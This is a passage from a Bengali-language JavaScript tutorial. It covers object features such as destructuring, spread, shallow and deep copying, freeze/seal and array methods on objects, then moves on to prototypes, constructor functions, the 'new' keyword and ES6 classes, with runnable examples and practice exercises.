10.26 JavaScriptRun
let name = "Shariar";
let age = 23;

let user = {
    name,
    age
};

console.log(user);
Text
{
    name: "Shariar",
    age: 23
}

আগে লিখতে হতো:

10.26 JavaScriptRun
let user = {
    name: name,
    age: age
};

Modern JavaScript-এ shorthand ব্যবহার করা যায়।

10.27 Computed Property Names

Property name dynamically তৈরি করা যায়।

10.27 JavaScriptRun
let key = "username";

let user = {
    [key]: "Shariar"
};

console.log(user);
{ username: "Shariar" }
Part 04 — Object Iteration, Inspection & Destructuring (10.28 – 10.37)
10.28 Object.keys()

Object-এর সব property name-এর Array:

10.28 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23,
    city: "Dhaka"
};

console.log(Object.keys(user));
Text
["name", "age", "city"]
10.29 Object.values()

সব value:

10.29 JavaScriptRun
console.log(Object.values(user));
Text
["Shariar", 23, "Dhaka"]
10.30 Object.entries()

Key + value pair:

10.30 JavaScriptRun
console.log(Object.entries(user));
Text
[
    ["name", "Shariar"],
    ["age", 23],
    ["city", "Dhaka"]
]
10.31 Object-এর উপর Loop
for...in
10.31 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23,
    city: "Dhaka"
};

for (let key in user) {
    console.log(key, user[key]);
}
Text
name Shariar
age 23
city Dhaka
10.32 Object.entries() + for...of
10.32 JavaScriptRun
for (let [key, value] of Object.entries(user)) {
    console.log(key, value);
}
Text
name Shariar
age 23
city Dhaka
10.33 Object Destructuring 🔥

Object থেকে property সরাসরি variable-এ নেওয়া যায়।

10.33 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

let { name, age } = user;

console.log(name);
console.log(age);
Text
Shariar
23
10.34 Destructuring Rename
10.34 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

let { name: userName, age: userAge } = user;

console.log(userName);
console.log(userAge);
Text
Shariar
23
10.35 Destructuring Default Value
10.35 JavaScriptRun
let user = {
    name: "Shariar"
};

let { name, age = 23 } = user;

console.log(name);
console.log(age);
Text
Shariar
23
10.36 Nested Destructuring
10.36 JavaScriptRun
let user = {
    name: "Shariar",
    address: {
        city: "Dhaka",
        country: "Bangladesh"
    }
};

let {
    address: { city, country }
} = user;

console.log(city);
console.log(country);
Text
Dhaka
Bangladesh
10.37 Rest Property

Object-এর কিছু property আলাদা করে বাকি property নিতে:

10.37 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23,
    city: "Dhaka",
    country: "Bangladesh"
};

let { name, ...others } = user;

console.log(name);
console.log(others);
Text
Shariar

{
    age: 23,
    city: "Dhaka",
    country: "Bangladesh"
}
Part 05 — Spread, References, Memory & Immutability (10.38 – 10.53)
10.38 Spread Operator — Object

Object copy:

10.38 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

let copy = { ...user };

console.log(copy);
Text
{
    name: "Shariar",
    age: 23
}
10.39 Object Combine
10.39 JavaScriptRun
let personal = {
    name: "Shariar",
    age: 23
};

let professional = {
    role: "Web Developer",
    skill: "JavaScript"
};

let profile = {
    ...personal,
    ...professional
};

console.log(profile);
Text
{
    name: "Shariar",
    age: 23,
    role: "Web Developer",
    skill: "JavaScript"
}
10.40 Spread-এর মাধ্যমে Property Override
10.40 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

let updatedUser = {
    ...user,
    age: 24
};

console.log(updatedUser);
Text
{
    name: "Shariar",
    age: 24
}

শেষের property আগের value override করে।

10.41 Object Reference 🔥
এটা Array-এর মতোই গুরুত্বপূর্ণ।
10.41 JavaScriptRun
let user1 = {
    name: "Shariar"
};

let user2 = user1;

user2.name = "Ripon";

console.log(user1.name);
Text
Ripon

কারণ দুটো variable একই object reference করছে।

10.42 Object Copy
10.42 JavaScriptRun
let user1 = {
    name: "Shariar"
};

let user2 = { ...user1 };

user2.name = "Ripon";

console.log(user1.name);
console.log(user2.name);
Text
Shariar
Ripon
10.43 Shallow Copy

Spread operator:

10.43 JavaScriptRun
{ ...object }

একটি shallow copy তৈরি করে।

যদি nested object থাকে, তাহলে বিষয়টি একটু আলাদা।

10.43 JavaScriptRun
let user1 = {
    name: "Shariar",
    address: {
        city: "Dhaka"
    }
};

let user2 = { ...user1 };

user2.address.city = "Chittagong";

console.log(user1.address.city);
Text
Chittagong

কারণ nested address object-এর reference একই থাকতে পারে।

10.44 Deep Copy — Basic Approach

Simple JSON-compatible data-এর জন্য:

10.44 JavaScriptRun
let user1 = {
    name: "Shariar",
    address: {
        city: "Dhaka"
    }
};

let user2 = JSON.parse(JSON.stringify(user1));

user2.address.city = "Chittagong";

console.log(user1.address.city);
console.log(user2.address.city);
Text
Dhaka
Chittagong

তবে modern JavaScript-এ structured data-এর জন্য:

10.44 JavaScriptRun
structuredClone()

আরও ভালো option হতে পারে।

10.44 JavaScriptRun
let user2 = structuredClone(user1);
10.45 Optional Chaining ?.

Nested property না থাকলে error এড়াতে:

10.45 JavaScriptRun
let user = {
    name: "Shariar"
};

console.log(user.address?.city);
Text
undefined

Without optional chaining:

10.45 JavaScriptRun
console.log(user.address.city);

এতে error হতে পারে কারণ address undefined।

10.46 Nullish Coalescing + Object
10.46 JavaScriptRun
let user = {
    name: "Shariar"
};

let city = user.address?.city ?? "Unknown";

console.log(city);
Text
Unknown
10.47 Object.freeze()

Object-এর property পরিবর্তন বন্ধ করতে:

10.47 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

Object.freeze(user);

user.age = 24;

console.log(user.age);

Output সাধারণত:

Text
23

Strict mode-এ illegal modification error-ও হতে পারে।

10.48 Object.isFrozen()
10.48 JavaScriptRun
console.log(Object.isFrozen(user));
Text
true
10.49 Object.seal()

seal() করলে:

  • নতুন property add করা যায় না
  • property delete করা যায় না
  • existing writable property পরিবর্তন করা যায়
10.49 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

Object.seal(user);

user.age = 24;
delete user.name;

console.log(user);
Text
{
    name: "Shariar",
    age: 24
}
10.50 Object.isSealed()
10.50 JavaScriptRun
console.log(Object.isSealed(user));
Text
true
10.51 Object.assign()

একটি Object-এর properties অন্য Object-এ copy করা যায়।

10.51 JavaScriptRun
let user = {
    name: "Shariar"
};

let extra = {
    age: 23
};

Object.assign(user, extra);

console.log(user);
Text
{
    name: "Shariar",
    age: 23
}

Spread operator-এর কারণে modern JavaScript-এ অনেক ক্ষেত্রে:

10.51 JavaScriptRun
let user = {
    ...user,
    ...extra
};

ধরনের approach বেশি দেখা যায়।

10.52 Object.create()

Prototype-based object তৈরি করতে:

10.52 JavaScriptRun
let person = {
    greet() {
        console.log("Hello");
    }
};

let user = Object.create(person);

user.greet();
Text
Hello

এটি পরে Prototypes chapter-এ বিস্তারিত শিখব।

10.53 Object Constructor

new Object() দিয়ে Object তৈরি করা যায়:

10.53 JavaScriptRun
let user = new Object();

user.name = "Shariar";
user.age = 23;

console.log(user);

তবে সাধারণ object literal:

10.53 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

বেশি clean এবং common।

Part 06 — Special Keys, API Patterns & Functional Methods (10.54 – 10.68)
10.54 Object-এর Property Name হিসেবে Number
10.54 JavaScriptRun
let data = {
    1: "One",
    2: "Two"
};

console.log(data[1]);
Text
One

Object keys internally সাধারণত String বা Symbol হিসেবে handled হয়।

10.55 Property Name-এ Space
10.55 JavaScriptRun
let user = {
    "full name": "Shariar Ahamed"
};

console.log(user["full name"]);

এখানে:

10.55 JavaScriptRun
user.full name

লেখা যাবে না।

তাই bracket notation ব্যবহার করতে হবে।

10.56 Object-এর মধ্যে Function
10.56 JavaScriptRun
let calculator = {

    add(a, b) {
        return a + b;
    },

    subtract(a, b) {
        return a - b;
    }
};

console.log(calculator.add(10, 5));
console.log(calculator.subtract(10, 5));
Text
15
5
10.57 Real-life Example — User Object
10.57 JavaScriptRun
let user = {
    id: 101,
    name: "Shariar Ahamed Ripon",
    email: "ripon@example.com",
    age: 23,
    isStudent: true,
    skills: [
        "HTML",
        "CSS",
        "JavaScript",
        "React"
    ],
    address: {
        city: "Dhaka",
        country: "Bangladesh"
    },

    introduce() {
        console.log(`Hi, I am ${this.name}`);
    }
};

console.log(user.name);
console.log(user.skills[2]);
console.log(user.address.city);

user.introduce();
CONSOLE OUTPUT
Shariar Ahamed Ripon
JavaScript
Dhaka
Hi, I am Shariar Ahamed Ripon

এখানে একসাথে ব্যবহার হয়েছে:

Text
Object
Array
Nested Object
Method
this
Template Literal
10.58 API Response-এর মতো Object

Web development-এ তুমি প্রায়ই এমন data পাবে:

10.58 JavaScriptRun
let response = {
    success: true,
    message: "User fetched successfully",
    data: {
        id: 101,
        name: "Shariar",
        email: "shariar@example.com"
    }
};

console.log(response.data.name);
Text
Shariar

React/Node.js-এ এই ধরনের nested object প্রচুর ব্যবহার হবে।

10.59 Object + Array + map()
10.59 JavaScriptRun
let users = [
    {
        name: "Shariar",
        age: 23
    },
    {
        name: "Rahim",
        age: 22
    },
    {
        name: "Karim",
        age: 24
    }
];

let names = users.map(user => user.name);

console.log(names);
Text
["Shariar", "Rahim", "Karim"]

এটি real-world frontend development-এর খুব common pattern।

10.60 Object + filter()
10.60 JavaScriptRun
let users = [
    { name: "Shariar", age: 23 },
    { name: "Rahim", age: 17 },
    { name: "Karim", age: 25 }
];

let adults = users.filter(user => user.age >= 18);

console.log(adults);
Text
[
    { name: "Shariar", age: 23 },
    { name: "Karim", age: 25 }
]
10.61 Object + find()
10.61 JavaScriptRun
let users = [
    { id: 1, name: "Shariar" },
    { id: 2, name: "Rahim" },
    { id: 3, name: "Karim" }
];

let user = users.find(user => user.id === 2);

console.log(user);
Text
{
    id: 2,
    name: "Rahim"
}
10.62 Object + reduce()

ধরো product list:

10.62 JavaScriptRun
let products = [
    { name: "Laptop", price: 70000 },
    { name: "Mouse", price: 1000 },
    { name: "Keyboard", price: 3000 }
];

let total = products.reduce((sum, product) => {
    return sum + product.price;
}, 0);

console.log(total);
Text
74000
10.63 Object.keys() + map()
10.63 JavaScriptRun
let user = {
    name: "Shariar",
    age: 23,
    city: "Dhaka"
};

let keys = Object.keys(user);

let upperKeys = keys.map(key => key.toUpperCase());

console.log(upperKeys);
Text
["NAME", "AGE", "CITY"]
10.64 Object-এর গুরুত্বপূর্ণ Static Methods
Methodকাজ
Object.keys()সব keys
Object.values()সব values
Object.entries()key-value pairs
Object.assign()Object copy/merge
Object.freeze()modification বন্ধ
Object.seal()add/delete বন্ধ
Object.isFrozen()frozen কিনা
Object.isSealed()sealed কিনা
Object.hasOwn()own property check
Object.create()prototype-based object
Object.fromEntries()entries → Object
10.65 Object.fromEntries()

Object.entries()-এর বিপরীত ধারণা।

10.65 JavaScriptRun
let entries = [
    ["name", "Shariar"],
    ["age", 23]
];

let user = Object.fromEntries(entries);

console.log(user);
Text
{
    name: "Shariar",
    age: 23
}
10.66 Object-এর Key Order

Modern JavaScript-এ property ordering-এর defined rules আছে, তবে সাধারণ application code-এ Object-কে ordered collection হিসেবে rely না করে data structure অনুযায়ী Array/Map ব্যবহার করা ভালো।

যদি order গুরুত্বপূর্ণ হয়, বিশেষ করে arbitrary key-value collection-এর ক্ষেত্রে Map অনেক ক্ষেত্রে বেশি appropriate।

Map আমরা পরের collection-related chapter-এ বিস্তারিত দেখব।

10.67 Object vs Map — Basic Idea
ObjectMap
সাধারণ data/entity-এর জন্যKey-value collection-এর জন্য
String/Symbol keysযেকোনো value key হতে পারে
user.namemap.get(key)
JSON-এর সাথে naturalIteration-friendly

এখন শুধু ধারণাটা রাখো; পরে বিস্তারিত আসবে।

10.68 Object-এর সবচেয়ে গুরুত্বপূর্ণ Pattern

Real-world API data:

10.68 JavaScriptRun
const user = {
    id: 101,
    profile: {
        name: "Shariar",
        contact: {
            email: "shariar@example.com"
        }
    }
};

Access:

10.68 JavaScriptRun
console.log(user.profile.name);
console.log(user.profile.contact.email);

Optional chaining:

10.68 JavaScriptRun
console.log(user.profile?.contact?.phone);

এটি undefined property-এর ক্ষেত্রে application crash হওয়ার ঝুঁকি কমাতে useful।

Part 07 — Mental Model, Must-Know Concepts, Practice Lab & Summary
MENTAL MODEL 🧠 Chapter 10 — Object Mental Model

একটি Object এভাবে চিন্তা করো:

OBJECT │ ┌────────────┼────────────┐ ↓ ↓ ↓ Property Property Method │ │ │ name age greet() ↓ ↓ ↓ "Shariar" 23 function

আর nested হলে:

user │ ├── name ├── age ├── skills[] │ └── address ├── city └── country
MUST KNOW 🔥 Chapter 10 — Must Know
এইগুলো অবশ্যই ভালোভাবে আয়ত্ত করবে:
Text
1. Object কী
2. Property
3. Key / Value
4. Dot notation
5. Bracket notation
6. Dynamic property access
7. Add property
8. Update property
9. Delete property
10. in operator
11. Object.hasOwn()
12. Nested Object
13. Array inside Object
14. Object inside Array
15. Methods
16. this
17. Property shorthand
18. Computed properties
19. Object.keys()
20. Object.values()
21. Object.entries()
22. Object destructuring
23. Nested destructuring
24. Rest property
25. Spread operator
26. Object reference
27. Shallow copy
28. structuredClone()
29. Optional chaining
30. Nullish coalescing
31. Object.freeze()
32. Object.seal()
33. Object.assign()
34. Object.fromEntries()
35. Array of Objects
36. Object + map()
37. Object + filter()
38. Object + find()
39. Object + reduce()
PRACTICE LAB 📝 Practice Set — Chapter 10

Practice 1 — Basic Object

এই Object তৈরি করো:

Text
Name: Shariar
Age: 23
Department: CSE
University: DIU

তারপর প্রতিটি property console-এ দেখাও।

Practice 2 — Update

JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

age24 করো।

Practice 3 — Add

একই Object-এ:

Text
city: Dhaka

যোগ করো।

Practice 4 — Delete

city property delete করো।

Practice 5 — Nested Object

এই structure তৈরি করো:

student ├── name ├── age └── address ├── city └── country

তারপর city console-এ দেখাও।

Practice 6 — Array of Objects

JavaScriptRun
let students = [
    { name: "Shariar", marks: 90 },
    { name: "Rahim", marks: 75 },
    { name: "Karim", marks: 85 }
];

শুধু student-এর names বের করো।

Expected:

Text
["Shariar", "Rahim", "Karim"]

Practice 7 — Filter

উপরের data থেকে যাদের marks 80 বা তার বেশি তাদের বের করো।

Expected:

Text
Shariar
Karim

Practice 8 — Find

marks 80-এর বেশি এমন প্রথম student বের করো।

Practice 9 — Destructuring

JavaScriptRun
let user = {
    name: "Shariar",
    age: 23,
    city: "Dhaka"
};

Destructuring করে তিনটি variable তৈরি করো:

Text
name
age
city

Practice 10 — Mini Project 👨‍💻

JavaScriptRun
let products = [
    {
        name: "Laptop",
        price: 70000,
        category: "Computer"
    },
    {
        name: "Mouse",
        price: 1000,
        category: "Accessories"
    },
    {
        name: "Keyboard",
        price: 3000,
        category: "Accessories"
    },
    {
        name: "Monitor",
        price: 15000,
        category: "Computer"
    }
];

এমন code লেখো যা:

  • সব product-এর নাম দেখাবে
  • সব product-এর total price বের করবে
  • 5000-এর বেশি price-এর product বের করবে
  • "Computer" category-এর product বের করবে
  • সবচেয়ে expensive product বের করবে
  • শুধু product names-এর নতুন Array তৈরি করবে
SUMMARY 🎯 Chapter 10 Final Summary — Object Cheatsheet
Object-এর basic structure:
JavaScriptRun
let user = {
    name: "Shariar",
    age: 23
};

Access:

JavaScriptRun
user.name;
user["name"];

Update:

JavaScriptRun
user.age = 24;

Add:

JavaScriptRun
user.city = "Dhaka";

Delete:

JavaScriptRun
delete user.city;

Methods:

JavaScriptRun
user.sayHello();

this:

JavaScriptRun
this.name;

Keys/values:

JavaScriptRun
Object.keys(user);
Object.values(user);
Object.entries(user);

Destructuring:

JavaScriptRun
const { name, age } = user;

Spread:

JavaScriptRun
const copy = { ...user };

Optional chaining:

JavaScriptRun
user.address?.city;
TOP 10 ⭐ Chapter 10-এর সবচেয়ে গুরুত্বপূর্ণ ১০টি
Text
1. Object = key-value structure
2. Dot notation
3. Bracket notation
4. Nested Object
5. Array of Objects
6. Object Methods
7. this
8. Object Destructuring
9. Object.keys / values / entries
10. Spread + Reference + Shallow Copy
NEXT CHAPTER 🚀 Chapter 11 Preview — Prototypes & Prototype Chain

Chapter 9-এর Array + Chapter 10-এর Object—এই দুইটা একসাথে ভালোভাবে বুঝে ফেললে JavaScript-এর real-world data handling অনেক পরিষ্কার হয়ে যাবে। পরের অধ্যায়ে আমরা Advanced Objects, Prototypes & Prototype Chain-এর দিকে যাব, যেখানে JavaScript-এর ভিতরের object system কীভাবে কাজ করে সেটা বুঝব।

Chapter 11
↑ Index
Advanced Objects, Prototypes & Chain — প্রোটোটাইপ ও চেইন
Total Sections
54 Modules + Practice
Curriculum Part
Part 05 — Advanced Object Architecture
Core Mechanics
Prototype Chain, 'new', ES6 Classes & Descriptors
Reference Standard
ECMAScript 2026 / V8 Runtime

Advanced Objects: Prototypes & Prototype Chain

Chapter 10-এ আমরা Object-এর basic থেকে advanced অনেক কিছু শিখেছি। এবার JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ Object-related advanced concept-গুলোর একটি শিখব:

Prototype → Prototype Chain → Constructor Function → newObject.create() → Inheritance

এগুলো ভালোভাবে বুঝলে পরে Class, OOP, Inheritance, React/Node.js-এর অনেক concept বুঝতে সহজ হবে।

Part 01 — Prototypes, Chains & Property Lookups (11.1 – 11.14)
11.1 Prototype কী?

JavaScript-এর প্রতিটি সাধারণ object-এর পেছনে একটি prototype object থাকতে পারে।

সহজভাবে:

Prototype হলো এমন একটি object, যেখান থেকে অন্য object property ও method খুঁজে পেতে পারে।
💡 🏠 Real-life Example

ধরো, একটি বিশ্ববিদ্যালয়ের অনেক Student আছে।

প্রত্যেক Student-এর নিজের:

Text
name
id
department

আছে।

কিন্তু সবাই একই ধরনের কিছু কাজ করতে পারে:

Text
study()
attendClass()
takeExam()

প্রত্যেক Student object-এর মধ্যে আলাদাভাবে study() লিখে না রেখে একটি common জায়গায় রাখা যায়।

সেই common জায়গাটা prototype-এর মতো।

11.2 Prototype দেখব কীভাবে?

JavaScript-এ:

11.2 JavaScriptRun
const user = {
    name: "Ripon"
};

console.log(Object.getPrototypeOf(user));
CONSOLE OUTPUT
{ ... }

এটি user object-এর prototype দেখাবে।

আরেকটি common syntax:

11.2 JavaScriptRun
console.log(user.__proto__);

তবে __proto__ legacy/accessor হিসেবে পরিচিত। শেখার সময় দেখতে পারো, কিন্তু code-এ prototype নিয়ে কাজ করার জন্য সাধারণত:

11.2 JavaScriptRun
Object.getPrototypeOf()

এবং

11.2 JavaScriptRun
Object.setPrototypeOf()

ব্যবহার করা ভালো।

11.3 Prototype Chain কী?
এটাই খুব গুরুত্বপূর্ণ। 🔥

যখন JavaScript কোনো object-এর মধ্যে কোনো property বা method খুঁজে পায় না, তখন সে তার prototype-এর মধ্যে খোঁজে।

সেখানেও না পেলে prototype-এর prototype-এ খোঁজে।

এভাবে চলতে থাকে।

এটিই:

Prototype Chain
💡 Example
11.3 JavaScriptRun
const user = {
    name: "Ripon"
};

console.log(user.toString());

আমরা user object-এর মধ্যে নিজেরা toString() লিখিনি।

তবুও কাজ করছে।

কেন?

কারণ JavaScript roughly এভাবে খুঁজছে:

user ↓ Object.prototype ↓ null

user-এ toString() নেই।

তাই:

Object.prototype

এ গিয়ে toString() পেয়ে যায়।

11.4 Prototype Chain-এর Visual Idea
user │ │ prototype ▼ Object.prototype │ │ prototype ▼ null

এখানে:

11.4 JavaScriptRun
Object.getPrototypeOf(user)

দিলে Object.prototype পাওয়া যাবে।

আর:

11.4 JavaScriptRun
Object.getPrototypeOf(Object.prototype)

দিলে:

11.4 JavaScriptRun
null
11.5 Object.prototype
JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ built-in prototype-এর একটি হলো:
11.5 JavaScriptRun
Object.prototype

এখানে অনেক common method রয়েছে।

যেমন:

11.5 JavaScriptRun
toString()
hasOwnProperty()
isPrototypeOf()
propertyIsEnumerable()

তাই অনেক object সরাসরি এগুলো ব্যবহার করতে পারে।

💡 Example
11.5 JavaScriptRun
const user = {
    name: "Ripon"
};

console.log(user.hasOwnProperty("name"));
CONSOLE OUTPUT
true

user object-এর নিজের property হলো:

Text
name

কিন্তু hasOwnProperty() object-এর নিজের property হিসেবে লিখিনি।

এটি prototype chain থেকে পাওয়া।

11.6 Property Lookup কীভাবে কাজ করে?

ধরো:

11.6 JavaScriptRun
const user = {
    name: "Ripon"
};

console.log(user.age);

JavaScript প্রথমে দেখবে:

Text
user.age

আছে?

না।

তারপর:

user → prototype

prototype-এ age আছে?

না।

তারপর prototype-এর prototype...

শেষে:

Text
null

এ পৌঁছাবে।

তখন result:

11.6 JavaScriptRun
undefined
💡 Example
11.6 JavaScriptRun
const user = {
    name: "Ripon"
};

console.log(user.age);
CONSOLE OUTPUT
undefined
11.7 নিজের Property বনাম Inherited Property

একটি property object-এর নিজের হতে পারে অথবা prototype থেকে inherited হতে পারে।

💡 Example
11.7 JavaScriptRun
const user = {
    name: "Ripon"
};

console.log(user.name);
console.log(user.toString);

এখানে:

Text
name

নিজের property।

কিন্তু:

Text
toString

prototype থেকে এসেছে।

11.8 hasOwnProperty()

কোনো property object-এর নিজের property কিনা দেখতে:

11.8 JavaScriptRun
const user = {
    name: "Ripon"
};

console.log(user.hasOwnProperty("name"));
console.log(user.hasOwnProperty("toString"));
CONSOLE OUTPUT
true
false

কারণ:

name → own property toString → inherited property
11.9 in Operator বনাম hasOwnProperty()
এটা খুব গুরুত্বপূর্ণ।
in

Prototype-এর property-ও খুঁজবে।

11.9 JavaScriptRun
const user = {
    name: "Ripon"
};

console.log("name" in user);
console.log("toString" in user);
CONSOLE OUTPUT
true
true

কারণ toString() prototype থেকে পাওয়া যায়।

hasOwnProperty()

শুধু নিজের property check করবে।

11.9 JavaScriptRun
console.log(user.hasOwnProperty("name"));
console.log(user.hasOwnProperty("toString"));
CONSOLE OUTPUT
true
false
🧠 মনে রাখো
MethodOwn PropertyPrototype Property
in
hasOwnProperty()
11.10 Object.getPrototypeOf()

কোনো object-এর prototype দেখতে:

11.10 JavaScriptRun
const user = {
    name: "Ripon"
};

console.log(Object.getPrototypeOf(user));

সাধারণ object-এর ক্ষেত্রে সাধারণত:

Object.prototype

পাওয়া যাবে।

11.11 Object.setPrototypeOf()

একটি object-এর prototype পরিবর্তন করা যায়:

11.11 JavaScriptRun
const person = {
    greet() {
        console.log("Hello!");
    }
};

const user = {
    name: "Ripon"
};

Object.setPrototypeOf(user, person);

user.greet();
CONSOLE OUTPUT
Hello!

কারণ user-এর নিজের মধ্যে greet() নেই।

কিন্তু prototype:

person

হওয়ায় সে greet() পেয়েছে।

11.12 Prototype দিয়ে Inheritance

এখন আসল বিষয়।

ধরো:

11.12 JavaScriptRun
const person = {
    greet() {
        console.log("Hello!");
    }
};

const student = Object.create(person);

student.name = "Ripon";

student.greet();
CONSOLE OUTPUT
Hello!

এখানে:

student ↓ person ↓ Object.prototype ↓ null

এটাই prototype-based inheritance।

11.13 Object.create()

Object.create() দিয়ে নির্দিষ্ট prototype ব্যবহার করে নতুন object তৈরি করা যায়।

Syntax
11.13 JavaScriptRun
Object.create(prototype);
💡 Example
11.13 JavaScriptRun
const animal = {
    eat() {
        console.log("Animal is eating");
    }
};

const dog = Object.create(animal);

dog.name = "Tommy";

console.log(dog.name);
dog.eat();
CONSOLE OUTPUT
Tommy
Animal is eating

dog-এর নিজের property:

Text
name

আর inherited method:

Text
eat()
11.14 Real-Life Example — University
11.14 JavaScriptRun
const university = {
    attendClass() {
        console.log("Attending university class");
    }
};

const student = Object.create(university);

student.name = "Ripon";
student.department = "CSE";

console.log(student.name);
console.log(student.department);

student.attendClass();
CONSOLE OUTPUT
Ripon
CSE
Attending university class

এখানে:

student ↓ university
Part 02 — Constructor Functions, 'new' Keyword & Prototype Memory (11.15 – 11.29)
11.15 Constructor Function কী?

Class আসার আগে JavaScript-এ object তৈরির জন্য খুব common technique ছিল:

Constructor Function
💡 Example
11.15 JavaScriptRun
function Student(name, department) {
    this.name = name;
    this.department = department;
}

এটি একটি constructor function হিসেবে ব্যবহার করা যাবে।

11.16 new Keyword

Constructor function-এর সাথে সাধারণত:

11.16 JavaScriptRun
new

ব্যবহার করা হয়।

11.16 JavaScriptRun
function Student(name, department) {
    this.name = name;
    this.department = department;
}

const student1 = new Student("Ripon", "CSE");

console.log(student1);
Student { name: "Ripon", department: "CSE" }
11.17 new কী করে?
🔥 new keyword-এর কাজ বোঝা খুব গুরুত্বপূর্ণ।

যখন লিখি:

11.17 JavaScriptRun
const student1 = new Student("Ripon", "CSE");

Conceptually JavaScript roughly:

Step 1

নতুন empty object তৈরি করে।

11.17 JavaScriptRun
{}
Step 2

নতুন object-এর prototype সেট করে:

Student.prototype
Step 3

this নতুন object-কে refer করে।

11.17 JavaScriptRun
this.name = "Ripon";
Step 4

Constructor-এর মাধ্যমে object initialize করে।

Step 5

নতুন object return করে।

Conceptually:

new Student() ↓ new object ↓ prototype = Student.prototype ↓ this = new object ↓ return object
11.18 Constructor Function-এর Method কোথায় রাখা ভালো?

এভাবে করলে:

11.18 JavaScriptRun
function Student(name) {
    this.name = name;

    this.study = function() {
        console.log(this.name + " is studying");
    };
}

প্রতিটি student object-এর জন্য নতুন study() function তৈরি হবে।

যদি হাজার হাজার object থাকে, unnecessary duplication হতে পারে।

তার বদলে prototype ব্যবহার করা যায়।

11.19 Constructor.prototype

প্রতিটি normal constructor function-এর একটি:

11.19 JavaScriptRun
prototype

property থাকে।

Example:

11.19 JavaScriptRun
function Student(name) {
    this.name = name;
}

console.log(Student.prototype);
11.20 Prototype-এ Method যোগ করা
11.20 JavaScriptRun
function Student(name) {
    this.name = name;
}

Student.prototype.study = function() {
    console.log(this.name + " is studying");
};

const student1 = new Student("Ripon");
const student2 = new Student("Rahim");

student1.study();
student2.study();
CONSOLE OUTPUT
Ripon is studying
Rahim is studying

এখানে study() দুই object-এর মধ্যে duplicate হয়ে তৈরি হয়নি।

দুইজনই ব্যবহার করছে:

Student.prototype.study
11.21 Prototype Method-এর Memory Advantage

ধরো:

11.21 JavaScriptRun
const student1 = new Student("Ripon");
const student2 = new Student("Rahim");
const student3 = new Student("Karim");

যদি method constructor-এর ভিতরে থাকে:

11.21 JavaScriptRun
this.study = function() {}

তাহলে প্রতিটি instance-এর জন্য আলাদা function তৈরি হতে পারে।

কিন্তু prototype-এ:

11.21 JavaScriptRun
Student.prototype.study = function() {}

একটি shared method ব্যবহার করা হয়।

Conceptually:

student1 ──┐ student2 ──┼──> Student.prototype.study() student3 ──┘
11.22 Constructor Function-এর Prototype Chain

ধরো:

11.22 JavaScriptRun
function Student(name) {
    this.name = name;
}

Student.prototype.study = function() {
    console.log("Studying...");
};

const student = new Student("Ripon");

তাহলে:

student ↓ Student.prototype ↓ Object.prototype ↓ null
🔥 এই chain খুব গুরুত্বপূর্ণ।
11.23 constructor Property

Student.prototype-এর মধ্যে সাধারণত একটি:

11.23 JavaScriptRun
constructor

property থাকে।

11.23 JavaScriptRun
function Student(name) {
    this.name = name;
}

console.log(Student.prototype.constructor === Student);
CONSOLE OUTPUT
true

অর্থাৎ:

Student.prototype.constructor

মূল constructor function-কে refer করে।

11.24 instanceof

কোনো object কোনো constructor-এর instance কিনা দেখতে:

11.24 JavaScriptRun
instanceof

ব্যবহার করা হয়।

💡 Example
11.24 JavaScriptRun
function Student(name) {
    this.name = name;
}

const student = new Student("Ripon");

console.log(student instanceof Student);
CONSOLE OUTPUT
true
💡 আরেকটি Example
11.24 JavaScriptRun
console.log(student instanceof Object);
CONSOLE OUTPUT
true

কারণ:

student ↓ Student.prototype ↓ Object.prototype

তাই Object-এর prototype chain-এর অংশ।

11.25 instanceof কীভাবে কাজ করে?

ধরো:

11.25 JavaScriptRun
student instanceof Student

JavaScript দেখে:

Student.prototype

prototype chain-এর মধ্যে আছে কি না।

যদি থাকে:

Text
true

না থাকলে:

Text
false
11.26 Prototype Inheritance Example
11.26 JavaScriptRun
function Person(name) {
    this.name = name;
}

Person.prototype.sayHello = function() {
    console.log("Hello, I am " + this.name);
};

function Student(name, department) {
    Person.call(this, name);
    this.department = department;
}

Student.prototype = Object.create(Person.prototype);

Student.prototype.constructor = Student;

Student.prototype.study = function() {
    console.log(this.name + " is studying " + this.department);
};

const student = new Student("Ripon", "CSE");

student.sayHello();
student.study();
CONSOLE OUTPUT
Hello, I am Ripon
Ripon is studying CSE

এখানে:

student ↓ Student.prototype ↓ Person.prototype ↓ Object.prototype ↓ null

এটাই prototype-based inheritance-এর একটি traditional pattern।

11.27 Person.call(this, name) কী?

এই line:

11.27 JavaScriptRun
Person.call(this, name);

Person constructor-কে current this context দিয়ে call করছে।

Person-এর মধ্যে:

11.27 JavaScriptRun
this.name = name;

ছিল।

তাই Student-এর object-এর মধ্যেও:

11.27 JavaScriptRun
name

set হচ্ছে।

11.28 Object.create(Person.prototype) কেন?

এই line:

11.28 JavaScriptRun
Student.prototype = Object.create(Person.prototype);

এর মাধ্যমে বলা হচ্ছে:

Student-এর prototype হবে এমন একটি object, যার prototype হলো Person.prototype।

অর্থাৎ:

Student.prototype ↓ Person.prototype
11.29 কেন constructor আবার সেট করা হয়?

এই line:

11.29 JavaScriptRun
Student.prototype.constructor = Student;

কারণ:

11.29 JavaScriptRun
Student.prototype = Object.create(Person.prototype);

করার পর constructor reference বদলে যেতে পারে।

তাই explicitly:

11.29 JavaScriptRun
Student.prototype.constructor = Student;

দেওয়া হয়।

Part 03 — Modern ES6 Classes, 'extends', 'super' & Overriding (11.30 – 11.39)
11.30 Modern JavaScript-এ class

বর্তমানে JavaScript-এ সাধারণত:

11.30 JavaScriptRun
class

ব্যবহার করা হয়।

কিন্তু মনে রাখবে:
JavaScript-এর class internally prototype-based system-এর উপর কাজ করে।
11.31 Class Example
11.31 JavaScriptRun
class Student {
    constructor(name, department) {
        this.name = name;
        this.department = department;
    }

    study() {
        console.log(this.name + " is studying");
    }
}

const student = new Student("Ripon", "CSE");

student.study();
CONSOLE OUTPUT
Ripon is studying
